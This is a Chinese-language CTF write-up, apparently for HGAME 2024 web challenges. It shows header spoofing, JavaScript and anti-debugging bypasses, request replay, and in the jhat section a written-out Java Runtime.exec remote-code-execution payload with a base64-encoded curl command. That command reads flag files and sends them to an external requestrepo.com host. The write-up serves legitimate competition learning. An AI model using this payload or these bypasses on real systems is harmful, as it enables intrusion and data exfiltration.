获取中...

-

Just a minute...

by:Infernity

ezHTTP

请从vidar.club访问这个页面

在请求头中插入

referer:vidar.club

请通过Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0访问此页面

明显的UA头,修改UA头为以上。

请从本地访问这个页面

本地访问不止X-Forwarded-For一个头,有很多种,这里是X-Real-IP:127.0.0.1

最后拿到一串字符串

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc

base64解密后拿到flag

hgame{HTTP_!s_1mP0rT4nt}

当然这里不是base64,但是对于拿到flag来说,base64解密已经够了。解密时记得去掉点号。

图片.png

Bypass it

一个登录注册题,但是不让我注册

图片.png

弹窗一看就是JavaScript弄的,但是为了严谨,查看源码,注册那里有个/register_page.php

图片.png

点进去发现这样一段代码

1
<script language='javascript' defer>alert('很抱歉,当前不允许注册');top.location.href='login.html'</script>

这段代码是直接弹个窗,然后重定向到Login页面。那么好,直接禁用js就可以了,关于哪个浏览器如何禁用js这里不再赘述。

禁用后,就可以注册了,注册后退回到login界面,登录后一片白,但是看源码发现这里也是通过js重定向到userIndex.php页面,但是我们禁用了JS,这里就不会跳转,那我们就手动跳转入userIndex.php,进去后点击click here 拿到flag

hgame{5ca7e8897ddd8913d4d1fcba65e55acf7cfa8827}

SeleSelect Courses

这道题我不知道是哪来的什么提示或者是在考啥。进入后抓取选课的包,重复发同一个包几千遍,就会有一次选上,重复这个流程,直到五个都被选上,我这里是用burp发包的,写脚本亦可。

图片.png

五个都选上后拿到flag

图片.png

begin{WELCOMe_to_B3GinCTF_2024_H0Pe_YOU_wiL1_11ke_i7}

2048*16

这里首先的难点是我们明知道是JS游戏题,想要去调试,修改变量直接获取胜利,但是这里首先ban掉了F12和鼠标右键,还有ctrl+U这些不让我们看源码和调试,这个是JS做到的,所以我们还是直接禁用JS就可以打开调试工具了。

新的问题来了,这里JS关闭后,游戏不会正常启动,调试工具倒是打开了,那么这里利用浏览器的性质,打开F12后刷新也会保留F12。所以我们这里再打开JS刷新页面即可。

图片.png

新的问题来了,这里触发了JS反调试,无限debugger,这样是无法调试的,我们需要反 反调试。

https://blog.csdn.net/wxtcstt/article/details/129906561

在控制台里按以下方法输入:

  1. 打开F12点击Console
  2. 输入(function(){}).constructor === Function,回车;
  3. 如果返回的是true,继续输入Function.prototype.constructor = function(){},并回车;
  4. 切换回sources选项卡,点击继续执行,无限debugger的问题就解决了

图片.png

这里第一步我们就解决了,可以调试了,但是这道题把分数变量藏得很深,不能直接通过修改分数来达成目的。

我们搜索won,把断点打在1207行,这里明显是判断胜负的地方,那么,我们继续故意输掉游戏,让游戏卡在断点处。

图片.png

输掉游戏后,我们逐步跟进

图片.png

差不多五六步之后,出现了这样一个变量

图片.png

很明显了,我们在控制台处输入x=true

然后放开调试,让程序正常运行,拿到flag

图片.png

flag{b99b820f-934d-44d4-93df-41361df7df2d}

jhat

提示1hint1: need rce

提示2hint2: focus on oql

提示3hint3: 题目不出网 想办法拿到执行结果

提示已经给的很全面了,打开环境后,进入OQL,即Object Query Language (OQL) query

然后要在这个框框里打payload进行rce,java题通用的rce payload为

1
java.lang.Runtime.getRuntime().exec("payload")

那么题目不出网,老方法,DNSlog外带。该方法在week2里已经写过,这里不再赘述。

1
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgY2F0IC9mKmAuM2p1c2V2NTUucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}")

图片.png

hgame{c000110cc71ea5a1e5b4366597038d8855af5a0f}

相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp